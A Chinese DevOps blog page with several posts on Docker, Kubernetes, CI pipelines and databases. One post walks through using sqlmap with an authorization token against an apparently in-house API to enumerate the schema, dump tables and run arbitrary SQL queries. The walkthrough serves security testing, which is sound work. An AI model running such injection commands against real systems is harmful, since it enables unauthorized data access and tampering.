作者: 李镇伟

docker运行的postgresql优雅关闭

背景

我们的许多项目部署完之后,是会经常关闭或者重启服务器的,比如各种过年过节的日子,停工的日子,这一关机,数据库就容易出问题。我们的postgresql是运行在我自定义的一个debian容器中,因为添加了一些我自定义的定时备份和日志功能,所以运行方式和官方镜像不一致。为了减少数据库因为关机而造成出问题的情况,得想一个优雅关闭的方法(至少不能原地爆炸^_^)

第一个进行不下去的方案(systemctl)

在systemctl里是可以写关机前运行的服务的,但是我遇到了一个问题,我编写的这个服务是在输入关机命令后,先关闭了docker服务才启动这个服务,这会导致数据库关闭命令的时候,因为docker提前关闭而失败,这个方案告终。

命令执行效果是:shutdown–>docker.socket关闭–>pg_shutdown.service关闭

[Unit]
Description=pg_shutdown
DefaultDependencies=no
Before=shutdown.target

[Service]
Type=oneshot

ExecStart=/usr/bin/docker exec -it pg_ctlcluster 14 main stop --m fast

[Install]
WantedBy=shutdown.target

最终采用的方案

既然我们需要在docker关闭时执行命令,那么就得调头去找docker是如何处理接受“终止”信号的方案。根据docker官网的知识,我们可以得知,当触发docker stop或者关机的时候,是会向容器发送一个SIGTERM信号的,我们需要在dockerfile里,修改启动脚本,添加一个“安全关闭”的函数,并且让脚本通过钩子把SIGTERM信号与“安全关闭”函数连在一起。当收到SIGTERM信号时就“安全关闭”

#Dockerfile文件参考


FROM debian:12
# 此处省略安装postgresql过程
....
# 然后放一个docker-entrypoint.sh文件进去
COPY docker-entrypoint.sh /usr/local/bin/
ENTRYPOINT ["docker-entrypoint.sh"]

#docker-entrypoint.sh文件参考


#!/usr/bin/env bash
file_path="/var/run/postgresql/.s.PGSQL.5432.lock"
if [ -f "$file_path" ]; then
    rm "$file_path"
fi
service cron start
pg_ctlcluster 14 main start

stop_container() {
  mkdir -p /var/lib/postgresql/14/main/log/
  echo "$(date) - Stopping PostgreSQL..." >> /var/lib/postgresql/14/main/log/stop.log
  pg_ctlcluster 14 main stop --m fast
  echo "$(date) - PostgreSQL stopped." >> /var/lib/postgresql/14/main/log/stop.log
}
trap 'stop_container' SIGTERM
tail -f /var/log/postgresql/*.log &
wait

这边有一点要注意的是,结尾需要加& wait 而不能只用tail ,不然stop_container不会触发的

但是到这里还没有完全结束,因为postgresql的关闭有时候不那么快,默认的docker 关闭的超时时间是10秒,为了求稳,我们还需要修改docker运行容器时的超时时间,在docker run的时候增加参数–stop-timeout=60,注意,这个超时时间只能在docker run容器的时候去设置,通过修改/etc/docker/daemon.json里的shutdown-timeout是无效的

最后

经过一番修改与重新编写程序,我又测试了多次poweroff和reboot检查,确定稳如老狗之后,终于将其发布至现场,以后可以安心过节啦。虽然看起来修改的代码不多,但是要知道在那修改,如何修改有效,总共花了我一天的时间($_$)

在Kubernetes里使用Traefik插件实现IP黑名单功能

背景

网上关于traefik的ip黑名单功能的文章几乎没有,ChatGPT讲解的也不太对,于是我根据自己的使用经验记录下在kubernetes里,使用traefik的denyip插件,配置IP黑名单功能,可以对单独的ingress(域名)生效,也可以对整个entrypoint(端口)生效


traefik的denyip安装

1.去traefik插件中间,找到denyip插件的信息

https://plugins.traefik.io/plugins/62947363ffc0cd18356a97d1/deny-ip-plugin

2.参考traefik官方helmchart编写values-traefik.yaml文件(https://github.com/traefik/traefik-helm-chart/blob/master/traefik/values.yaml)

# 这里只贴下载插件模块的代码
experimental:
  plugins:
    denyip:
      moduleName: github.com/kevtainer/denyip
      version: v1.0.0

3.安装traefik

helm upgrade --install traefik -n traefik -f values-traefik.yaml traefik/traefik --version 26.0.0
#安装完之后,可以检查pod,会发现在pod配置里添加上了插件信息
kubectl describe pod -n traefik traefik-txxqm

对整个entrypoint限制IP访问(例如限制IP访问80端口下的所有域名)

1.添加middleware.yaml文件,例如禁用192.168.1.1的IP访问

apiVersion: traefik.containo.us/v1alpha1
kind: Middleware
metadata:
    name: denyip
    namespace: traefik
spec:
    plugin:
        denyip:
            ipDenyList:
                - 192.168.1.1

添加完后,使用kubectl apply -f middleware.yaml命令使其生效

2.编辑values-traefik.yaml文件,修改ports部分,找到80端口部分,修改代码如下,只生效于80端口,443端口不生效。

ports:
  web:
    port: 80
    expose: true
    exposedPort: 80 # 对外的 HTTP 端口号,使用标准端口号在国内需备案
    middlewares:
     - traefik-denyip@kubernetescrd
  websecure:
    port: 443
    expose: true
    exposedPort: 443 # 对外的 HTTPS 端口号,使用标准端口号在国内需备案

3.再次安装traeifk

helm upgrade –install traefik -n traefik -f values-traefik.yaml traefik/traefik –version 26.0.0

4,去dashboard页面检查,会发现在这个entrypoint的所有ingress的配置里,都会加上该middleware


对单一IngressRoute生效(例如对指定域名或路径)

1.添加middleware.yaml文件,例如禁用192.168.1.1的IP访问

apiVersion: traefik.containo.us/v1alpha1
kind: Middleware
metadata:
    name: denyip
    namespace: traefik
spec:
    plugin:
        denyip:
            ipDenyList:
                - 192.168.1.1

添加完后,使用kubectl apply -f middleware.yaml命令使其生效

2.这里有一个注意点,往往我们的ingress和middleware不一定在同一个namespace,这个时候需要在安装traefik的时候启用【允许使用跨命名空间】功能,修改values-traefik.yaml,添加如下配置:

providers:
  kubernetesCRD:
    allowCrossNamespace: true

然后再次安装

helm upgrade --install traefik -n traefik -f values-traefik.yaml traefik/traefik --version 26.0.0

3.修改需要使用middleware的ingressroute文件,和service同级增加middlewares信息

4.修改完成后,再去dashboard页面检查,会发现只有该http route有middleware信息,不会影响其他域名的正常访问

迁移drone.io的sqlite数据库到postgresql数据库

背景

drone.io默认安装的时候是使用sqlite数据库,可以用于演示产品,但是一旦git仓库数量过多,build次数过多之后,会越用越卡,从长远来看,想用于生产环境,还是得转向postgresql数据库。关于postgresql数据库的配置可以参考如下页面。主要是设置一个数据库来源和postgresql数据库连接串信息

https://docs.drone.io/server/storage/database/#postgres

实施步骤

1.找到drone.io的原始sqlite数据库。

如果我们采用的是kubernetes的helmchart安装,一般会在drone命名空间里的pvc里找到,可以通过 kubectl命令去找

kubectl get pvc -n drone
kubectl get pv 
kubectl describe pv $(drone的pv名字)

找到存储位置后,具体的sqlite数据库文件叫database.sqlite 可以通过CP命令复制一份database.sqlite出来备份

2.安装postgresql数据库

postgresql数据库的安装还是比较简单的,安装完成之后,再创建一个用于存储drone数据的数据库实例和用户

sudo apt update
sudo apt install postgresql
su postgres
psql
create user 数据库用户名 with password '数据库密码';
create database 数据库实例 owner 数据库用户名;
revoke all on database 数据库实例 from public;

3.安装pgloader工具

pgloader是一款用于从其他数据库导数据到postgresql的工具,此工具安装和使用比较方便,但是有一个缺陷,占用内存会比较大,比如我这里要导入的sqlite数据库有5个G,那么该程序在运行的过程中至少要用10个G的内存,如果不够的话,会在运行一段时间之后被oom kill 掉,加上系统本身运行需要一些内存,我建议得准备一个16G内存的服务器

apt-get install pgloader
#安装完成后添加一个db.load文件,内容如下:
load database
     from sqlite:///home/sfere/database.sqlite
     into postgresql://数据库用户名:数据库密码@数据库ip/数据库实例

     with truncate,
          create tables,
          create indexes,
          reset sequences
;

4.转换前需要重建sqlite数据库”构建信息表

如果不做这一步,会报错

ERROR Database error 42704: type “number” does not exist 

所以我们重建builds表

CREATE TABLE builds1
(
  build_id            bigserial,
  build_repo_id       bigint,
  build_trigger       text,
  build_number        bigint,
  build_parent        bigint,
  build_status        text,
  build_error         text,
  build_event         text,
  build_action        text,
  build_link          text,
  build_timestamp     bigint,
  build_title         text,
  build_message       text,
  build_before        text,
  build_after         text,
  build_ref           text,
  build_source_repo   text,
  build_source        text,
  build_target        text,
  build_author        text,
  build_author_name   text,
  build_author_email  text,
  build_author_avatar text,
  build_sender        text,
  build_deploy        text,
  build_params        text,
  build_started       bigint,
  build_finished      bigint,
  build_created       bigint,
  build_updated       bigint,
  build_version       bigint,
  build_debug         bool,
  build_cron          text default '',
  build_deploy_id     bigint default '0'
);

INSERT INTO builds1 SELECT * FROM builds;

drop table builds;

ALTER TABLE `builds1` RENAME TO `builds`

5.开始导入数据到postgresql,导入完成后检查postgresql数据库里是否有对应的数据

pgloader db.load 

6.导入完成,更新drone server,可以通过修改kubernetes资源的方式,或者修改helm chart 的values.yaml的方式添加环境变量

DRONE_DATABASE_DRIVER=postgres DRONE_DATABASE_DATASOURCE=postgres://用户名:密码@数据库IP:5432/数据库实例?sslmode=disable

把electron程序作为服务部署到debian11系统上

背景

我们的操作系统是debian11,桌面系统gnome,使用electronjs开发了一个linux桌面端程序,需要部署上去,加入系统服务,并设置成开机自启

技术要点

  1. gnome桌面可以使用wayland和xorg登录,我们这里采用的是xorg方式
  2. electronjs使用electron-builder可以打包一个deb包文件,但是deb包里是没有service文件的,这个service文件我们需要自己写
  3. deb包的安装需要以root用户进行,而系统服务中运行xorg不能以root用户进行,而是以登录gnome的用户进行,这里面需要在定制deb包的时候,进行反复套娃

步骤简述

1.先使用electron打包命令 yarn electron-builder –linux 打包出deb需要包含的文件目录

2.编写一个service文件和postinst,postrm,prerm脚本(重要,talk is cheap ,show me the code)

# service文件的内存参考,注意设置环境变量以适配xorg
[Unit]
Description=electron app
After=network.target

[Service]
Type=simple
WorkingDirectory=/工作路径
ExecStart=/工作路径/electron二进制程序
SuccessExitStatus=143
TimeoutStopSec=10
Environment="DISPLAY=:0" "XAUTHORITY=/home/sfere/.Xauthority"
Restart=always
RestartSec=10

[Install]
WantedBy=default.target
#postinst文件参考,因为deb包是用root用户安装的,这里注意要切换到普通用户上去设置开机自启
#!/bin/sh
set -e
export XDG_RUNTIME_DIR=/run/user/1000
su lizhenwei -c 'systemctl --user daemon-reload'
su lizhenwei -c 'systemctl --user enable dscs.service'
su lizhenwei -c 'systemctl --user start dscs.service'
exit 0
# postrm文件参考,如果要删除electron程序,注意要重新加载一次用户服务,避免后台依然再查询改electron服务,会在journalctl 里看到大量的服务找不到的报错
#!/bin/sh
set -e
export XDG_RUNTIME_DIR=/run/user/1000
su lizhenwei -c 'systemctl --user daemon-reload'
exit 0
#prerm文件参考,如果直接执行 apt purge命令卸载electron程序,是不会立刻杀死在gnome前端运行的electron程序的,这里就要通过pkill的方式来杀死一次electron程序
#!/bin/sh
set -e
pkill -f /工作路径/electron二进制程序
exit 0

3.service文件的位置,在deb里的路径需要配置好,放在/home/用户名/.config/systemd/user/下

常见问题

1.如果把electron服务装在了/lib/system/systemd目录下,就会变成root用户启动,这种情况下,electron应用程序也能在桌面打开,但是会报错,报错内容如下:

ERROR:bus.cc(399)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")

解决的办法就是把服务放在/home/用户名/.config/systemd/user/下运行

2.apt purge electron程序 之后,gnome桌面上程序没有关闭,需要手动pkill杀进程,或者参照我上面的代码改写deb包的prerm文件,这个文件也可以在这个路径找到:/var/lib/dpkg/info/[electron程序包名].prerm

生成oracle客户端docker镜像的两种玩法

背景

我们的oracle服务端是oracle12g版本,应用程序均由golang或者python编写,运行在k8s 容器里,那我们就需要build一些docker容器来,那如何build呢?可以参考以下我的方法。文章最后有我编写过程中的参考文章,也可以根据参考文章自己创新。

玩法1:参考oracle官方文档制作

1.下载代码https://github.com/oracle/docker-images.git 到本地

2.进入OracleInstantClient/oraclelinux8/21/目录,该目录下有一个原始的dockerfile文件,可以使用该文件build一个基础镜像,例如

docker build --pull -t oracle/instantclient:21 .

使用build出来的这个oracle/instantclient:21镜像可以二次进行dockerfile编辑加入golang或者python。

也可以用这个oracle/instantclient:21来测试一下oracle数据库是否能正常连接。测试连接命令如下:

docker run -ti --rm oracle/instantclient:21 sqlplus 用户名/密码@数据库IP:数据库端口/数据库名

玩法2:从debian开始制作一个镜像

除了上面的方法外,我们还可以从debian开始制作一个包含python的镜像

1.进入oracle客户端下载页https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html

2.下载https://download.oracle.com/otn_software/linux/instantclient/218000/instantclient-basic-linux.x64-21.8.0.0.0dbru.zip到本地,如下图

3.编写Dockerfile,以debian+oracle+python举例

FROM debian:11-slim

LABEL maintainer="zhenwei.li <zhenwei.li@sfere-elec.com>"
RUN set -eux \
    && sed -i "s@http://ftp.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && sed -i "s@http://security.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && apt-get update \
    && apt-get install -y -q libaio1 unzip python3 pip
    && pip install cx_Oracle

# 清理垃圾
RUN set -eux \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/* \
    && rm -rf /tmp/*
ENV TZ=Asia/Shanghai \
    DEBIAN_FRONTEND=noninteractive

RUN ln -fs /usr/share/zoneinfo/${TZ} /etc/localtime \
    && echo ${TZ} > /etc/timezone \
    && dpkg-reconfigure --frontend noninteractive tzdata \
    && rm -rf /var/lib/apt/lists/*

COPY instantclient-basic-linux.x64-21.8.0.0.0dbru.zip /opt/oracle/instantclient-basic-linux.x64-21.8.0.0.0dbru.zip

WORKDIR /opt/oracle/

RUN unzip instantclient-basic-linux.x64-21.8.0.0.0dbru.zip

RUN sh -c "echo /opt/oracle/instantclient_21_8 > /etc/ld.so.conf.d/oracle-instantclient.conf"

RUN ldconfig

RUN useradd sfere

4. 目录下放Dockerfile和oracle客户端zip包

5. 制作镜像

docker build -t debian-oracle .

6.运行镜像,测试python连接oracle服务端可行,依次输入如下命令

docker run -ti --rm debian-oracle python
import cx_Oracle as cx
con = cx.connect('用户名', '密码', '数据库IP:数据库端口/数据库名')

参考文章

https://github.com/oracle/docker-images/tree/main/OracleInstantClient

https://csiandal.medium.com/install-oracle-instant-client-on-ubuntu-4ffc8fdfda08

SQLmap的一次实战

1.找注入点(方法可以通过owasp zap去扫描,参考https://www.yinyubo.com/?p=79


2.找到注入点后,将url记下来,例如下图


3.在linux系统里下载sqlmap工具和python

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
apt install python -y

4.去被测网站上获取登录用的token。这里的Authorization信息用在sqlmap的head参数里


5.使用sqlmap工具获得当前数据库的schema

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  --current-db --answers="Y"

根据上图返回的信息,我们可以得到数据库的schema是public


6.获取到了数据库名字之后,我们再去获取数据库的表

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public --tables --answers="Y"

7.这里我们可以看到已经获取到了数据库的所有的表了,我们任意选一张表,去获取字段

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public -T migrations --dump --answers="Y"

8.抓到列名之后,我们根据列名,再去获取数据,比如我获取dirty 和version字段的数据

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public -T schema_migrations -C version,id --dump --answers="Y"

9.到这里基本上就结束了,如果还想往里面执行SQL脚本的话(增删改),可以使用–sql-query语句,我这个是查询时间

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --sql-query="select now();" --answers="Y"

强制删除rancher里托管的K8S集群

背景

有时候,我们会出现,虚拟机先删除了,然后才想起来rancher里还有个集群没删掉,这个时候,再通过rancher的界面去删除托管集群,往往会一直卡在“当前集群Removing中” 那么这种情况下,该如何处理呢?

我翻到了这么一个答案:https://forums.rancher.com/t/unable-to-remove-cluster/13032/9

让我们一起来实际操作一下吧

1.找到卡住集群的名字

1.点击待删除集群的名字,进入集群的详情页,复制URL中C/后面的字符,例如我的集群是c-9rhjh

2.登录部署rancher的服务器,找到卡住集群

输入命令kubectl get clusters.management.cattle.io 就可以看到我们卡住的集群

3,通过kubectl edit 功能,设置finalizers字段为[]

输入 kubectl edit clusters.management.cattle.io c-9rhjh

保存之后,回到rancher的GUI界面,你会发现此集群已经消失

trivy与droneCI结合,扫描容器安全

trivy是什么?

一款简单的安全扫描工具,扫描范围如下:

  • OS packages and software dependencies in use (SBOM)
  • Known vulnerabilities (CVEs)
  • IaC misconfigurations
  • Sensitive information and secrets

我们选择它的主要原因是,1.它能以docker的方式运行,通过把病毒库缓存挂载在NFS中,避免每次CI都去拉取病毒库。2.它的扫描速度快,10秒钟之内能结束战斗。3.它的扫描对象可以是容器镜像,直接扫描我们业务代码生成的镜像。

4.当扫描出安全漏洞时,我们可以更新基础镜像,一次性解决安全问题,并且再次运行trivy,快速检查。


droneCI里怎么使用trivy呢?

1.每晚定时更新trivy数据库,避开trivy每次自动更新,因为默认trivy上游仓库是6小时更新一次。如果没有自动更新,很有可能巧了,就刚好白天有次drone流水线业务代码提交遇上了trivy,那就花时间久了

附上drone流水线-trivy仓库的参考代码。把更新好的数据库,挂载到一个nfs缓存里

---
kind: pipeline
type: kubernetes
name: download trivy db
steps:
  - name: trivy download db
    image: aquasec/trivy:0.29.2
    commands:
      - "trivy image --download-db-only"
    volumes:
      - name: trivy-cache
        path: /root/.cache/
trigger:
  event:
    - cron
volumes:
  - name: trivy-cache
    host:
      path: /home/nfs/cache/trivy

2.以python仓库为例子,我们在生成镜像后,通过trivy images –exit-code 1 {镜像名称} 功能检查,如果有安全漏洞,会返回exit-code 1流水线结束

---
kind: pipeline
type: kubernetes
name: push
steps:
  - name: buildimages
    image: gcr.io/kaniko-project/executor:v1.8.1
    command: [此处省去build 镜像命令]
  - name: trivy
    image: aquasec/trivy:0.29.2
    commands:
      - "trivy image --skip-db-update --security-checks vuln --exit-code 1 python:latest"
    volumes:
      - name: trivy-cache
        path: /root/.cache/
trigger:
  event:
    - push
volumes:
  - name: trivy-cache
    host:
      path: /home/nfs/cache/trivy

流水线效果

Dbeaver添加IOTDB驱动

背景

因为IOTDB官网是有说明的,但是官网的方法是从源码编译,我这边写一个简单点的方法

下面附上官网链接(也可以参考)

https://iotdb.apache.org/UserGuide/Master/Ecosystem%20Integration/DBeaver.html


下载apache-iotdb-all-in-one

https://iotdb.apache.org/Download/ 进入官网的下载页面,下载与iot-db服务端版本对应的all-in-one

解压下载文件

Dbeaver里新建驱动管理器

依次点击窗口菜单的【数据库】->【驱动管理器】->【新建】

填写iotdb的连接信息,测试连接,可以确认连接成功
JDBC URL: jdbc:iotdb://127.0.0.1:6667/
Username: root
Password: root

通过工具来规范代码提交与发布日志

背景

1.因为我们的现场版本发布是比较频繁的,关于本次发布为了解决什么问题,修复了什么BUG。这个全靠项目经理自觉,并不是每次发布都有写,也不一定每次都能写的全,我想有一个能兜底的机制。

2.这个时候我想起了github发布版本时有一个“auto-generate release notes”功能,它通过 git logs 命令,将两次版本变化之间的git message信息导出成markdown格式的文档,如果我们的gitea有这样一个工具,那就太棒了.

3.在gitea官网和github上进行了查阅,发现gitea目前不打算抄这个功能,未来也不会做,而我们的git服务端用的是gitea,于是我想通过drone CI流水线来实现这个功能

4.通过查阅,我发现nodejs有一个很火的工具https://github.com/conventional-changelog/standard-version 能够完成这件事,只要我们开发人员提交的 git message是符合https://www.conventionalcommits.org/https://semver.org/规范的即可

5.根据这个规范,找到vscode里有一个插件”Conventional Commits”工具是非常契合的

6.结局是我们的开发人员,只需要在vscode上安装好这个”Conventional Commits”工具,并且根据工具提示来提交代码,后续就可以自动生成changelog了,从而达到标准化“代码提交”和“发布日志”的目的

效果图

下面这个Changelog由发布之后的流水线自动生成

开发人员做什么

在vscode里下载该插件,插件扩展ID vivaxy.vscode-conventional-commits

提交代码的时候,按照工具提示一路选择即可

运维人员做什么

根据https://github.com/conventional-changelog/standard-version库来编写一个简单的流水线工具

这里我用的代码是python,流水线运行环境是DroneCI,git服务端是gitea

废话不多说,下面直接上代码,可以通过 docker build命令

docker build -t drone-changelog-plugin:1.0.1 .

去制作drone的流水线镜像

main.py

import os
import shutil

import requests


def search_tag_info(git_url,token, repo):
    '''
    搜索git上的tag信息
    :param git_url: git 的地址
    :param token: git 的access token
    :param repo: git 待查询的git仓库信息
    :return: tag信息集合
    '''
    url = "https://"+git_url+"/api/v1/repos/" + repo + "/releases"
    headers = {'accept': 'application/json',
               'Authorization': 'token ' + token,
               'Content-Type': 'application/json'
               }
    response = requests.get(url, headers=headers)
    tag_list = response.json()
    return tag_list


def modify_tag_body(git_url,token, repo, tag_id, body):
    '''
    修改git仓库的tag里的内容
    :param git_url: git 的地址
    :param token: git 的access token
    :param repo: git 待查询的git仓库信息
    :param tag_id: git tag的id信息
    :param body: 需要修改的内容,一般是changelog.md文件
    :return:
    '''
    url = "https://"+git_url+"/api/v1/repos/" + repo + "/releases/" + str(tag_id)
    headers = {'accept': 'application/json',
               'Authorization': 'token ' + token,
               'Content-Type': 'application/json'
               }
    body = {
        "body": body
    }
    response = requests.patch(url, json=body, headers=headers)


if __name__ == '__main__':
    print(os.environ)
    tag = os.environ["DRONE_TAG"]
    branch = os.environ["DRONE_REPO_BRANCH"]
    username = os.environ["DRONE_NETRC_USERNAME"]
    password = os.environ["DRONE_NETRC_PASSWORD"]
    git_repo = os.environ["DRONE_REPO"]
    git_token = os.environ["PLUGIN_TOKEN"]
    src_file = "/lzw/.versionrc"
    dst_foleder = os.environ["DRONE_WORKSPACE"]
    git_url= os.environ["PLUGIN_GIT_SERVER"]
    shutil.copy(src_file, dst_foleder)

    # 获取当前仓库里所有的tag信息
    tag_info_list = search_tag_info(git_url,git_token, git_repo)
    # 获取最新的一个tag
    now_tag = tag_info_list[0]
    # 获取所有的tag信息,这个地方是因为standard-version的特性,
    # 要获取所有的tag信息,再删掉当前的tag信息,
    # 再使用standard-version 重新生成一个tag信息
    os.system("git remote set-url origin https://'" + username + "':'" + password + "'@"+git_url+"/" + git_repo)
    os.system("git fetch --all")
    os.system("git tag -d " + tag)
    cmd = 'standard-version --tag-prefix "" --release-as ' + tag
    print(cmd)
    os.system(cmd)
    # standard-version命令会产生一个CHANGELOG.md文件
    with open('CHANGELOG.md', encoding='utf-8') as f:
        line = f.read()
    print("tag len is:" + str(len(tag_info_list)))
    # 判断一下目前有几个tag,分割保留最新的git tag 变更信息
    if len(tag_info_list) > 1:
        pre = tag_info_list[1]
        list = line.split(" " + pre['tag_name'] + " ")
        # print(list[0])
        now_content = list[0]
    else:
        now_content = line
    # 把CHANGELOG.md中本次变更的传到git的tag信息里
    modify_tag_body(git_url,git_token, git_repo, now_tag['id'], now_content)

Dockerfile

FROM python:3.9-buster
LABEL maintainer="357244849@qq.com"

RUN set -eux \
    && sed -i "s@http://ftp.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && sed -i "s@http://security.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && apt-get update \
    && apt-get install -y nodejs npm
ENV NODE_PATH="/usr/lib/node_modules"
ENV LANG=C.UTF-8 PYTHONUNBUFFERED=1
RUN npm i -g standard-version
WORKDIR /lzw
ADD . /lzw
RUN pip install -r /lzw/requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
CMD ["python3","/lzw/main.py"]

requirements.txt

requests

.versionrc

{
  "types": [
    {"type": "feat","section": "Features"},
    {"type": "fix","section": "Bug Fixes"},
    {"type": "docs","section": "Documentation" },
    {"type": "style","section": "Styling" },
    {"type": "refactor","section": "Refactors" },
    {"type": "perf","section": "Performance" },
    {"type": "test","section": "Tests" },
    {"type": "build","section": "Build System" },
    {"type": "ci","section": "CI" },
    {"type": "chore","section": "Chore","hidden":true },
    {"type": "revert","section": "Reverts" }
  ]
}

如何嵌入到DroneCI流水线呢

在drone.yml文件里嵌入如下yml即可

---
kind: pipeline
type: kubernetes
name: tag
steps:
  - name: generator change log
    image: drone-changelog-plugin:1.0.1
    settings:
      token: XXXXXX
      git_url: XXXXXX
trigger:
  event:
    - tag

苏ICP备18047533号-2